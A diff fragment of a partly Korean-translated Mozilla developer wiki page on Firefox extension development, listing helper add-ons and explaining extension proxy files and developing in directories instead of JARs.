+ <li><a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/5817" title="https://addons.mozilla.org/en-US/firefox/addon/5817">SQLite Manager</a> SQLite 데이터베이스를 관리 (Firefox 와 Thunderbird)</li>
+ <li><a class="external" href="http://www.rumblingedge.com/viewabout/" title="http://www.rumblingedge.com/viewabout/">ViewAbout</a> enables access to various about: dialogs from the View menu (<a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/9695" title="https://addons.mozilla.org/en-US/firefox/addon/9695">Firefox 버전</a>, <a class="link-https" href="https://addons.mozilla.org/en-US/thunderbird/addon/9695" title="https://addons.mozilla.org/en-US/thunderbird/addon/9695">Thunderbird 버전</a>)</li>
+ <li><span class="content"><span class="title"><a class="external" href="http://code.google.com/p/crashme/" title="http://code.google.com/p/crashme/">Crash Me Now!</a> </span></span><span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="useful for testing
+    debug symbols and the
+    crash reporting system">디버그 기호 및 충돌 보고 시스템</span></span> (Firefox 와 Thunderbird)</li>
+</ul>
+<p> </p>
+<h3 id="Custom_code_location" name="Custom_code_location">Firefox extension proxy file</h3>
+<p>Extension files are normally installed in the user profile. However, it is usually easier to place extension files in a temporary location, which also  protects source files from accidental deletion. This section explains how to create a proxy file that points to an extension that is installed in a location other than the user profile.</p>
+<ol>
+ <li>Get the extension ID from the extension's install.rdf file.</li>
+ <li>Create a file in the "extensions" directory under your profile directory with the extension's ID as the file name (for example "your_profile_directory/extensions/{46D1B3C0-DB7A-4b1a-863A-6EE6F77ECB58}"). (<a class="external" href="http://kb.mozillazine.org/Profile_folder">How to find your profile directory</a>) Alternatively, rather than using a GUID, create a unique ID using the format "name@youremail" (for example <span style="font-family: Courier New;"><a class="link-mailto" href="mailto:chromebug@mydomain.com" rel="freelink">chromebug@mydomain.com</a>).</span></li>
+ <li>The contents of this file should be the path to the directory that contains your install.rdf file. (eg. "<span style="font-family: Courier New;">/full/path/to/yourExtension/</span>". Windows users should use the drive name (CAPS) and backslashes instead of frontslashes (for example "<span style="font-family: Courier New;">C:\full\path\to\yourExtension\</span>" or "<span style="font-family: Courier New;">C:\sam\workspace\toolbar\helloWorldtoolbar\</span>").Remember to include the closing slash and remove any trailing whitespace.
+  <ul>
+   <li>In Firefox 3, if you already installed the extension via XPI, you might need to install one or all of the extensions.* files in the profile folder. Backup first, but these files will be regenerated. (I don't know what the original author had in mind here, but the files <span style="font-family: Courier New;">extensions.cache, extensions.ini, extensions.rdf, compreg.dat, <span style="font-family: Verdana;">and</span> xpti.dat</span> are all regenerated by Firefox if deleted. You need to delete them if you mess with 'components', no harm done. Firefox will disconnect from its parent process when it regens these files, so you may have to exit once and restart if you use the OS console.)</li>
+  </ul>
+ </li>
+ <li>Place the file in the extensions folder of your profile and restart the application.</li>
+</ol>
+<h3 id="Using_directories_rather_than_JARs" name="Using_directories_rather_than_JARs">Using directories rather than JARs</h3>
+<p>Regardless of whether you choose to eventually package your extension's chrome in a JAR or in directories, developing in directories is simpler. If you choose a JARed structure for releasing, you can still develop with a directory structure by editing your chrome.manifest. For example, rather than having</p>
+<pre class="eval">content	myExtension	jar:chrome/myExtension.jar!/content/
+</pre>
+<p>use</p>
+<pre class="eval">content	myExtension	chrome/content/
+</pre>